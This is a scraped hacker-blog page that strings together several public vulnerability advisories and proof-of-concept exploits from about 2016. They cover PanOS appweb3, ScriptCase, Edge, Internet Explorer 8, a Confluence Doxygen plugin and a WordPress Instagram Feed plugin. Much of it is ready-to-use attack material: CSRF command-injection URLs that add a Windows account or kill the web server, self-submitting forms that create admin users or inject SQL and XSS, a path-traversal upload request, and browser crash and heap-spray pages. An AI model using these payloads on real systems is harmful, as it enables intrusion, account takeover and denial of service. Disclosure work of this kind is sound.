Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=908
Palo Alto Networks have published a fix for this issue: http://securityadvisories.paloaltonetworks.com/Home/Detail/68
PanOS uses a modified version of the appweb3 embedded webserver, it's used for
a variety of tasks and is enabled by default. I've noticed a bug in the core utility routine mprItoa:
char *mprItoa(char *buf, int size, int64 value, int radix);
https://embedthis.com/appweb/doc-3/ejs/api/mpr.html#mpr_8h_1c44ccf179c55dbbcf7aa04ba86090463
The size parameter is documented to be the size of the buffer at *buf, but if
the value exceeds that it will write one more byte than that as a nul
terminator.
Note that appweb3 has been EOL since 2012 and no longer receives security
updates and is not supported by the developer, so security maintenance is the
responsibility of Palo Alto Networks. It seems crazy to ship a EOL web server,
but whatever.
I've found an unauthenticated php script that an attacker call force to invoke
mprItoa() on a default installation at /unauth/php/errorPage.php, it can be
called like so:
/unauth/php/errorPage.php?code=1e16
This example should corrupt the stored GOT pointer, resulting in some
unexpected routine being called on the attacker-controlled MaResponse object,
and crashing with some heap corruption.
*** glibc detected *** /usr/local/bin/appweb3: double free or corruption (out): 0x08229e98 ***
======= Backtrace: =========
/lib/libc.so.6[0xf7ee8786]
/lib/libc.so.6(cfree+0x59)[0xf7ee8bb9]
/usr/local/bin/../lib/3p/libappweb3.so.1(maFillHeaders+0x128)[0xf7e64c58]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e6793b]
/usr/local/bin/../lib/3p/libappweb3.so.1(maServiceQueue+0x28)[0xf7e608f8]
/usr/local/bin/../lib/3p/libappweb3.so.1(maServiceQueues+0x38)[0xf7e5f438]
/usr/local/bin/../lib/3p/libappweb3.so.1(maRunPipeline+0x37)[0xf7e5f497]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e6346d]
/usr/local/bin/../lib/3p/libappweb3.so.1(maProcessReadEvent+0x27f)[0xf7e63e0f]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e5ad74]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e36afd]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e3607c]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e30c6f]
/usr/local/bin/../lib/3p/libappweb3.so.1(threadProcWrapper+0x36)[0xf7e31296]
/lib/libpthread.so.0[0xf6e9b6e1]
/lib/libc.so.6(clone+0x5e)[0xf7f52aee]
======= Memory map: ========
08048000-0804c000 rwxp 00000000 08:02 67709 /usr/local/bin/appweb3
0804c000-095e5000 rwxp 00000000 00:00 0 [heap]
f1c00000-f1cd0000 rwxp 00000000 00:00 0
etc.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863291714
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/SCRIPTCASE-PHP-WEB-TOOL-MULTIPLE-VULNERABILITIES.txt
[+] ISR: ApparitionSec
Vendor:
==================
www.scriptcase.net
Product:
===================
ScriptCase
v8.1.053, v8.1.051, v8.1.43.0
scriptcase_install_en_us_v8.1.053.exe
hash: ceaba1fce05556b82ab37582a7c907f4
scriptcase_install_en_us_v8.1.051.exe
hash: c3c9fbe085ab5462304c0c73c8698946
ScriptCase RAD is a development platform for PHP applications, is web
oriented and can be installed in a server in the internet.
Vulnerability Type:
=============================
CSRF Remote Command Execution
CSRF Add Admin
SQL Injection
Cross Site Scripting
Local Privlege Escalation (Insecure File Permissions)
User Enumeration / Token Bypass
Downloaded latest version v8.1.053, and still vulnerable.
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
[CSRF Remote Command Execution]
Scriptcase has a remote command execution ailment via CSRF, if an
authenticated user clicks an attacker link etc. This can allow attackers
to run arbitrary system commands on the affected host and do things like
add accounts etc.
Scriptcase PHP code uses encryption / obfuscated so its not easy testing
but we can see here the error returned for PHP eval()'d code
when injecting an Array [] brackets or something as paremeter.
Parse error: syntax error, unexpected end of file, expecting ']' in C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase\devel\lib\php\functions2.inc.php(358) : eval()'d code on line 1
After trying to wrap a Windows system call in backtick "`" operators it
worked perfectly. This allowed me to add an arbitrary system
account to the affected system.
[CSRF]
There are several cross site request forgery vectors, allowing attackers to
add an Admin account to Scriptcase application etc.
[Cross Site Scripting]
Multiple XSS entry points exists within the vulnerable application both GET
and POST.
Example XSS vulnerable scriptcase code 'ajax_cod_apls' is not santized
before being processed by ajax HTTP post request.
$.ajax({
type: 'POST',
url: '/scriptcase/devel/iface/generate.php',
data:
'compile_app_ajax=S&gen_option=console&targ_frame=_self&console=yes&ajax_cod_apls='
+ str_open_apps,
success: function(s_result){
a_result = s_result.split('__compile_ajax_sep_row__');
nm_compile_gerar();
}
});
[Local Privilege Escalation]
scriptcase uses weak insecure file permissions as the “Everyone” group has
full access on it. Allowing low privileged users to
execute arbitrary code in the security context of ANY other users with
elevated privileges on the affected system.
"Everyone" encompasses all users who have logged in with a password as well
as built-in, non-password protected accounts such as Guest
and LOCAL_SERVICE.Any user (even guest) will be able to replace, modify or
change the file. This would allow an attacker the ability
to inject code or replace scriptcase used executables and have it run in
the context of the system.
[User Enumeration]
On failed scriptcase login the application returns one of the following in
the HTTP response.
"The login name provided is not registered on the system."
On a failed password but correct user name entered application HTTP
response returns.
"The password is incorrect."
Exploit code(s):
===============
[CSRF Remote Command Execution]
Note: we NEED to use backtick operators "`"
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start net user EVIL abc123 /add`
Verify...
c:\> net user
User accounts for \\hyp3rlinx
------------------------------------------------------------------------
Administrator hyp3rlinx Guest
EVIL Test Privileged-User
2) start Windows 'calc.exe'
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`calc.exe`
OR
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start
calc.exe`
**sometimes "calc.exe" doesnt appear but it is running use "tasklist /v |
findstr calc.exe" to verify it is in fact running.
4) Apache DOS (needs httpd environmental variable set)
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`taskkill /f /im httpd.exe`
[SQL Injection]
AND boolean-based blind - WHERE or HAVING clause in 'nrLinhas' parameter "10 AND 2=2"
<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php" method="post">
<input type="hidden" name="nOpc" value="1">
<input type="hidden" name="nOpr" value="0">
<input type="hidden" name="nColOrd" value="1">
<input type="hidden" name="nLogin" value="">
<input type="hidden" name="nFiltro" value="2">
<input type="hidden" name="filtroTipo" value="2">
<input type="hidden" name="filtroTexto" value="1">
<input type="hidden" name="nrLinhas" value="10 AND 2=2">
<input type="hidden" name="nrInicio" value="0">
<input type="hidden" name="maxReg" value="1">
<script>document.forms[0].submit()</script>
</form>
[CSRF Add Admin]
<form name="form_user" action=" http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php" method="POST">
<input type="hidden" name="nOpc" value="2">
<input type="hidden" name="nOpr" value="2">
<input type="hidden" name="nLogin" value="hyp3rlinx">
<input type="hidden" name="nMail" value="pwn@Done.com">
<input type="hidden" name="nPass[]" value="abc123">
<input type="text" name="nPass[]" value="abc123"/>
<input type="text" name="privBox%5B%5D" value="Priv_Admin" />
<input type="hidden" name="privBox%5B%5D" value="Priv_Proj" />
<input type="hidden" name="privBox%5B%5D" value="Priv_DataDictionary" />
<input type="hidden" name="privBox%5B%5D" value="Priv_Exec">
<input type="hidden" name="privBox%5B%5D" value="Priv_Export">
<input type="hidden" name="privBox%5B%5D" value="Priv_Library">
<input type="hidden" name="privBox%5B%5D" value="Priv_Reports">
<input type="hidden" name="privBox%5B%5D" value="Priv_Locales">
<input type="hidden" name="privBox%5B%5D" value="Priv_Publish">
<input type="hidden" name="privBox%5B%5D" value="Priv_Aba">
<input type="hidden" name="privBox%5B%5D" value="Priv_Blank">
<input type="hidden" name="privBox%5B%5D" value="Priv_Calendar">
<input type="hidden" name="privBox%5B%5D" value="Priv_Chart">
<input type="hidden" name="privBox%5B%5D" value="Priv_Cons">
<input type="hidden" name="privBox%5B%5D" value="Priv_Container">
<input type="hidden" name="privBox%5B%5D" value="Priv_Ctrl">
<input type="hidden" name="privBox%5B%5D" value="Priv_Filt">
<input type="hidden" name="privBox%5B%5D" value="Priv_Edit">
<input type="hidden" name="privBox%5B%5D" value="Priv_Menu">
<input type="hidden" name="privBox%5B%5D" value="Priv_ReportPdf">
<input type="hidden" name="privBox%5B%5D" value="Priv_DbManager">
<input type="hidden" name="privBox%5B%5D" value="Priv_DbConvert">
<input type="hidden" name="privBox%5B%5D" value="Priv_SQLBuilder">
<input type="hidden" name="privBox%5B%5D" value="Priv_Connection">
<input type="hidden" name="hidden" value="New User">
<script> document.forms[0].submit()</script>
</form>
[CSRF mysql connect creation wizard]
<form action="
http://127.0.0.1:8081/scriptcase/devel/iface/admin_sys_allconections_create_wizard.php" method="post">
<input type="hidden" name="ajax" value="S"/>
<input type="hidden" name="set_charset" value="S"/>
<input type="hidden" name="dbms" value="mysql"/>
<input type="hidden" name="sgdb" value="pdo_mysql"/>
<input type="hidden" name="exit" value="S"/>
<input type="hidden" name="host" value="127__DOT__0__DOT__0__DOT__1:3306"/>
<input type="hidden" name="usr" value="root"/>
<input type="hidden" name="pwd" value=""/>
<input type="hidden" name="db" value="mysql"/>
<script>document.forms[0].submit()</script>
</form>
[Cross Site Scripting] - Successful in Firefox
XSS 1)
http://127.0.0.1:8081/scriptcase/devel/iface/app_import.php?option=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
XSS 2)
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
XSS 3)
<form action="http://127.0.0.1:8081/scriptcase/devel/iface/generate.php"
method="post">
<input type="hidden" name="compile_app_ajax" value="S"/>
<input type="hidden" name="gen_option" value="console"/>
<input type="hidden" name="targ_frame" value="_self"/>
<input type="hidden" name="console" value="yes"/>
<input type="hidden" name="ajax_cod_apls"
value="<script>alert(document.cookie)</script>"/>
<script>document.forms[0].submit()</script>
</form>
XSS 4)
<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php"
method="post">
<input type="hidden" name="nOpc" value="1">
<input type="hidden" name="nOpr" value="0">
<input type="hidden" name="nColOrd" value="1">
<input type="hidden" name="nLogin" value="">
<input type="hidden" name="nFiltro" value="2">
<input type="hidden" name="filtroTipo" value="2">
<input type="hidden" name="filtroTexto"
value='"/><script>alert(document.cookie)</script>'>
<input type="hidden" name="nrLinhas" value="10">
<input type="hidden" name="nrInicio" value="0">
<input type="hidden" name="maxReg" value="1">
<script>document.forms[0].submit()</script>
</form>
[Local Privilege Escalations]
Proof.
C:\Program Files (x86)\NetMake\v81\components>cacls * | findstr Everyone |
more
C:\Program Files (x86)\NetMake\v81\components\apache Everyone:(ID)F
Everyone:(OI)(CI)(IO)(ID)
C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x64.msi
Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x86.msi
Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\components\php Everyone:(ID)F
Everyone:(OI)(CI)(IO)(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot>cacls * | findstr Everyone | more
C:\Program Files (x86)\NetMake\v81\wwwroot\favicon.ico Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\index.php Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\robots.txt Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase Everyone:(ID)F
Everyone:(OI)(CI)(IO)(ID)F
[User Account Enumeration / Token Bypass]
First off the stupid token used on the login FORM e.g. "form_login=<TOKEN>"
is totally useless you can put anything you like in it
and the application will happily process the request.
CURL Enumeration 1)
curl -i -v -X POST
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d
field_user=BOZO -d field_pass=1 -d ajax=nm -d option=login -d
form_login=STUPID-TOKEN -d language=en_US
HTTP Response:
"error1:The login name provided is not registered on the system."
CURL Enumeration 2)
curl -i -v -X POST
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d
field_user=admin -d field_pass=1 -d ajax=nm -d option=login -d
form_login=STUPID-TOKEN -d language=en_US
HTTP Response:
"error1:The password is incorrect."
Either way we know when we hit a valid account.
Disclosure Timeline:
=========================================
Vendor Notification: October 13, 2016
Vendor acknowledgement: October 14, 2016
Vendor request POC video: October 14, 2016
Sent vendor video link: October 14, 2016
Request update from vendor: October 17, 2016
Vendor reply: "under review"
Vendor requests video again: October 25, 2016
Request update from vendor: October 30, 2016
Vendor reply: "No information"
Request ETA: November 7, 2016
Request status: November 14, 2016
Vendor Unresponsive No More Replies
November 20, 2016 : Public Disclosure
Exploitation Technique:
=======================
Remote / Local
Severity Level:
================
High
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
<!--
Source: http://www.security-assessment.com/files/documents/advisory/edge_chakra_mem_corruption.pdf
Name: Microsoft Edge Scripting Engine Memory Corruption Vulnerability (MS16-129)
CVE: CVE-2016-7202
Vendor Website: http://www.microsoft.com/
Date Released: 09/11/2016
Affected Software: Microsoft Windows 10, Microsoft Windows Server 2016
Researchers: Scott Bell
Description
A memory corruption vulnerability was identified in the Microsoft Edge Chakra JavaScript engine which could
allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the
current user.
Exploitation
Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can
generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this
are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00040001 ebx=01b1e760 ecx=00000012 edx=00000006 esi=00000000 edi=03f60000
eip=6a714bea esp=0328fa80 ebp=0328fab0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
jscript9!Recycler::ScanObject+0x23:
6a714bea 8b37 mov esi,dword ptr [edi] ds:0023:03f60000=????????
2:046> k
ChildEBP RetAddr
0328fab0 6a589768 jscript9!Recycler::ScanObject+0x23
0328facc 6a58973a jscript9!Recycler::TryMarkBigBlockList+0x22
0328faf0 6a589d83 jscript9!Recycler::ScanArena+0x7a
0328fb24 6a585f4c jscript9!Recycler::BackgroundFindRoots+0x8e
0328fb34 6a561263 jscript9!Recycler::DoBackgroundWork+0x103
0328fb60 6a6b162c jscript9!Recycler::ThreadProc+0xd1
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Windows\system32\msvcrt.dll -
0328fb98 775c1287 jscript9!Recycler::StaticThreadProc+0x1c
WARNING: Stack unwind information not available. Following frames may be wrong.
0328fbd0 775c1328 msvcrt!itow_s+0x4c
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Windows\system32\kernel32.dll -
0328fbd8 7793ef1c msvcrt!endthreadex+0x6c
0328fbe4 777e3648 kernel32!BaseThreadInitThunk+0x12
0328fc24 777e361b ntdll!__RtlUserThreadStart+0x70
0328fc3c 00000000 ntdll!_RtlUserThreadStart+0x1b
The following proof of concept code can be used to reproduce the vulnerability:
-->
<html>
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT">
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5">
<body>
<script>try{
for(var z in "a") a1.set(a1, '' );
Array.prototype.sort.call(a1, 'a', a1)
a1 = this;
a2 = [];
a1 = a2.concat(a1.a1);
var a1 = new Iterator(a1);
a1.add(a1);
for (let zzz = 0; zzz < 117; ++zzz) {a1.unshift(a2, a1);}
a1.reverse();
Array.prototype.reverse.call(a1);
a1.splice(1, 10);
}catch(e){};</script>
</body>
</html>
<!--
Solution
M
icrosoft validated this security issue and issued a patch (MS16-129) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.
About Security-Assessment.com
Security-Assessment.com is a leading team of Information Security consultants specialising in providing high
quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of
the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and
government. Our aim is to provide the very best independent advice and a high level of technical expertise while
creating long and lasting professional relationships with our clients.
Security-Assessment.com is committed to security research and development, and its team continues to identify
and responsibly publish vulnerabilities in public and private software vendor's products. Members of the
Security-Assessment.com R&D team are globally recognised through their release of whitepapers and
presentations related to new security research.
For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
-->
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: AppFusions Doxygen for Atlassian Confluence
Vendor URL: www.appfusions.com
Type: Path Traversal [CWE-22]
Date found: 2016-06-23
Date published: -
CVSSv3 Score: 6.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)
CVE: -
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
AppFusions Doxygen for Atlassian Confluence v1.3.0
older versions may be affected too.
4. INTRODUCTION
===============
With Doxygen in Confluence, you can embed full-structure code documentation:
-Doxygen blueprint in Confluence to allow Doxygen archive imports
-Display documentation from annotated sources such as Java (i.e., JavaDoc),
C++, Objective-C, C#, C, PHP, Python, IDL (Corba, Microsoft, and
UNO/OpenOffice
flavors), Fortran, VHDL, Tcl, D in Confluence.
-Navigation supports code structure (classes, hierarchies, files), element
dependencies, inheritance and collaboration diagrams.
-Search documentation from within Confluence
-Restrict access to who can see/add what
-Doxygen in JIRA also available
(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The application offers the functionality to import zipped Doxygen
documentations via a file upload to make them available within a
Confluence page. However the application does not properly validate the
"tempId" parameter, which represents the directory where the contents of
the uploaded file will be extracted and stored to. This leads to a path
traversal vulnerability when "/../" sequences are used as part of the
"tempId" parameter. Since the contents of the uploaded file are
extracted to the traversed directory, this vulnerability could also lead
to Remote Code Execution.
In DoxygenUploadServlet.java (lines 63-64) the "tempId" parameter is
read as part of a GET request to "/plugins/servlet/doxygen/upload" and
afterwards used in a "getTemporaryDirectory()" call:
String tempId = request.getParameter("tempId");
String destination =
this.doxygenManager.getTemporaryDirectory(tempId).getAbsolutePath();
The "getTemporaryDirectory()" function is defined in
DefaultDoxyGenManager.java (lines 38-41) and constructs a file object
based on the "java.io.tmpdir" variable, the static string
"/doxygen-temp/", the user-supplied "tempId" and a file separator in
between all parts:
public File getTemporaryDirectory(String tempId) {
File file = new File(System.getProperty("java.io.tmpdir") +
File.separator + "doxygen-temp" + File.separator + tempId);
return file;
}
In the subsequent code the uploaded file as represented by the "file"
HTTP POST parameter to "/plugins/servlet/doxygen/upload" is extracted to
the directory which was built using the "file" object.
The following Proof-of-Concept triggers this vulnerability by uploading
a zipped file, which will be extracted to "/home/confluence" by the
application:
POST
/plugins/servlet/doxygen/upload?tempId=/../../../../../../home/confluence
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Length: 966
Content-Type: multipart/form-data;
boundary=---------------------------62841490314755966452122422550
Cookie: doc-sidebar=300px; doxygen_width=256;
JSESSIONID=75A487B49F38A536358C728B1BE5A9E1
Connection: close
-----------------------------62841490314755966452122422550
Content-Disposition: form-data; name="file"; filename="Traversal.zip"
Content-Type: application/zip
[zipped data]
-----------------------------98001232218371736091795669059--
6. RISK
=======
To successfully exploit this vulnerability the attacker must be
authenticated and must have the rights within Atlassian Confluence to
upload Doxygen files (default).
The vulnerability allows remote attackers to upload arbitrary files to
any destination directory writeable by the user of the web server, which
could lead to Remote Code Execution.
7. SOLUTION
===========
Update to AppFusions Doxygen for Atlassian Confluence v1.3.4
8. REPORT TIMELINE (DD/MM/YYYY)
===============================
23/06/2016: Discovery of the vulnerability
23/06/2016: Notified vendor via public security mail address
29/06/2016: No response, sent out another notification w/o details
29/06/2016: Response from vendor who asked for full details
30/06/2016: Sent over preliminary advisory with full details
03/07/2016: No response from vendor, sent out a status request
03/07/2016: Vendor temporarily removes product from website
11/07/2016: Vendor releases v1.3.1 which fixes the issue
20/11/2016: Advisory released
<!--
Source: https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_instagram_feed_plugin_via_csrf.html
Persistent Cross-Site Scripting in Instagram Feed plugin via CSRF
Abstract
A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.
Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE ID
OVE-20160724-0014
Tested versions
This issue was successfully tested on the Instagram Feed WordPress Plugin version 1.4.6.2.
Fix
This issue is resolved in Instagram Feed WordPress Plugin version 1.4.7.
Introduction
Instagram Feed is a WordPress plugin to display beautifully clean, customizable, and responsive feeds from multiple Instagram accounts. A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.
Details
The settings page of the Instagram Feed plugin does not perform CSRF checks. It's possible to change all settings in the plugin by making an authenticated administrator perform a request to change the settings (CSRF). It's possible to change the Instagram access token and id to show images of other users. It's also possible to inject malicious JavaScript in the Customize section, to perform Persistent Cross-Site Scripting. Any user visiting the Instagram Feed will be injected with the attackers payload after the CSRF attack.
Proof of Concept
Have an authenticated admin visit a webpage with the following form:
-->
<html>
<body>
<form action="http://<wordpress site>/wp-admin/admin.php?page=sb-instagram-feed&tab=customize" method="POST">
<input type="hidden" name="sb_instagram_settings_hidden_field" value="Y" />
<input type="hidden" name="sb_instagram_customize_hidden_field" value="Y" />
<input type="hidden" name="sb_instagram_width" value="100" />
<input type="hidden" name="sb_instagram_width_unit" value="%" />
<input type="hidden" name="sb_instagram_height" value="100" />
<input type="hidden" name="sb_instagram_height_unit" value="%" />
<input type="hidden" name="sb_instagram_background" value="#474747" />
<input type="hidden" name="sb_instagram_sort" value="none" />
<input type="hidden" name="sb_instagram_num" value="20" />
<input type="hidden" name="sb_instagram_cols" value="4" />
<input type="hidden" name="sb_instagram_image_res" value="auto" />
<input type="hidden" name="sb_instagram_image_padding" value="5" />
<input type="hidden" name="sb_instagram_image_padding_unit" value="px" />
<input type="hidden" name="sb_instagram_show_header" value="on" />
<input type="hidden" name="sb_instagram_header_color" value="" />
<input type="hidden" name="sb_instagram_show_btn" value="on" />
<input type="hidden" name="sb_instagram_btn_background" value="" />
<input type="hidden" name="sb_instagram_btn_text_color" value="" />
<input type="hidden" name="sb_instagram_btn_text" value="Load More..." />
<input type="hidden" name="sb_instagram_show_follow_btn" value="on" />
<input type="hidden" name="sb_instagram_folow_btn_background" value="" />
<input type="hidden" name="sb_instagram_follow_btn_text_color" value="" />
<input type="hidden" name="sb_instagram_follow_btn_text" value="Follow on Instagram" />
<input type="hidden" name="sb_instagram_exclude_words" value="" />
<input type="hidden" name="sb_instagram_include_words" value="" />
<input type="hidden" name="sb_instagram_hide_photos" value="" />
<input type="hidden" name="sb_instagram_block_users" value="" />
<input type="hidden" name="sb_instagram_custom_css" value="" />
<input type="hidden" name="sb_instagram_custom_js" value="} });</script><script>alert(1);</script> " />
<input type="hidden" name="submit" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<!-- The Custom JavaScript section will now be saved with the attacker's JavaScript payload. -->
<!--
Source: http://blog.skylined.nl/20161118002.html
Synopsis
A specially crafted web-page can cause an integer underflow in Microsoft Edge. This causes CTextExtractor::GetBlockText to read data outside of the bounds of a memory block.
Known affected software, attack vectors and mitigations
Microsoft Edge 11.0.10240.16384
An attacker would need to get a target user to open a specially crafted web-page. JavaScript is not necessarily required to trigger the issue.
Repro.html
<!DOCTYPE html>
<style>
*::first-letter{ border: 0; }
*{ white-space: pre-line; }
</style>
<body>
A<script>alert();</script>

B
</body>
Description
Though I did not investigate thoroughly, I did find out the following:
The root cause appears to be an integer underflow in a 32-bit variable used in CTextExtractor..GetBlockText as an index to read a WCHAR in a string buffer. This index is decreased once too often and becomes -1, or a very large positive number depending on how it is used.
This does not result in a crash on 32-bit systems, as an integer wrap causes the code to read one WCHAR before the start of the buffer, which is normally also in allocated memory.
On 64-bit systems, the 32-bit -1 value is interpreted as 0xFFFFFFFF, a very large positive value. As this is an index into a WCHAR string, it gets multiplied by two and added to the start of the buffer to find the location of a WCHAR to read. This causes the OOB read to be around 8Gb (!!) beyond the address at which the buffer is allocated.
The crash happens in code that appears to be rendering the web-page, which does not immediately offer an obvious way of extracting information using this bug.
Exploit
This is where it gets interesting, as the OOB read happens approximately 0x2`00000000 bytes after the address at which the buffer is allocated. This presents us with a problem: how to store some information that we'd be interested in reading at such a large offset from the original allocation?
As one might come to expect from me, I used a heap spray. But it needed to be a special kind of heap spray as I did not want to actually have to allocate 8Gb of RAM. However, about ten years ago (boy, time flies!) I developed a heap spray that uses significantly less RAM than a traditional heap spray does; in practice probably about 33% in most cases, but theoretically much more in ideal situations. I've been meaning to blog about it, but never found the time to do so until today: you can read all about it here.
That said, I have not actually looked at whether it is possible to exfiltrate useful information using this bug. However, I did write a Proof-of-Concept that attempts to make sure something is allocated in the area where the OOB read happens. This PoC uses these heap spray tricks to spray the heap while minimizing memory use. The Proof-of-Concept uses about ~5.3Gb to allocate the memory at around 8Gb distance from the buffer (up to ~10Gb to be sure). When you load the PoC in a 64-bit version of Edge, you may notice that, unlike the original repro, it will not crash Edge (even though it does trigger the issues): the heap spray has allocated the memory that the out-of-bounds read accesses, and this prevents an access violation exception. Refreshing the page is likely to screw up the precise allocation process needed and will probably cause a crash.
This proves that it is theoretically possible to allocate information at the address used by the code. All that is left is prove that the information read by the code can be exfiltrated somehow, and you have a working exploit. This is left as an exercises to the reader.
-->
<!DOCTYPE html>
<style>
*::first-letter{ border: 0; }
*{ white-space: pre-line; }
</style>
<body>
A<script>
var aiAllocationSizes = [ // max address ------. .---- RAM allocated
-0x4000, // 4000 4000 4000
0x1000, // | 1000 5000 5000
-0x5000, // -4000 | 5000 a000 6000
0x5000, // | | 5000 f000 b000
-0x7000, // | -5000 | 7000 16000 d000
0x6000, // | | | 6000 1c000 13000
-0x8000, // | | -7000 | 8000 24000 14000 (5.3Gb)
];
var aoHeap = [],
oToBeFreed;
aiAllocationSizes.forEach(function (iAllocationSize) {
if (iAllocationSize < 0 && oToBeFreed) {
console.log("-0x" + oToBeFreed.byteLength.toString(16));
oToBeFreed = null; // Free the heap block that was queued to be freed.
CollectGarbage();
}
var uAllocationSize = Math.abs(iAllocationSize) * 0x10000 - 1;
console.log("+0x" + uAllocationSize.toString(16));
var oArrayBuffer = new ArrayBuffer(uAllocationSize);
if (iAllocationSize < 0) {
oToBeFreed = oArrayBuffer; // Schedule this to be freed
} else {
//aoHeap.push(oArrayBuffer);
}
});
</script>

B
</body>
<!--
Time-line
June 2016: This vulnerability was found through fuzzing.
June 2016: This vulnerability was submitted to ZDI and iDefense.
July 2016: This vulnerability was acquired by ZDI.
September 2016: This vulnerability was addressed by Microsoft in MS16-104.
November 2016: Details of this issue are released.
-->
<!--
Source: http://blog.skylined.nl/20161116001.html
Synopsis
A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.
Known affected software, attack vectors and mitigations
Microsoft Internet Explorer 8
An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
-->
<!DOCTYPE html>
<html>
<script>
// This PoC attempts to exploit a use-after-free bug in Microsoft Internet
// Explorer 8.
// See http://blog.skylined.nl/20161116001.html for details.
var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
"A".replace(r, function (){
// Force OLEAUT32 to free the string
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
// Reuse the freed memory
r.compile();
});
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
</html>
<!--
Description
Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.
Exploit
Exploitation was not investigated.
Time-line
March 2015: This vulnerability was found through fuzzing.
March 2015: This vulnerability was submitted to ZDI.
April 2015: This vulnerability was acquired by ZDI.
October 2015: Microsoft addressed this issue in MS15-018.
November 2016: Details of this issue are released.
-->
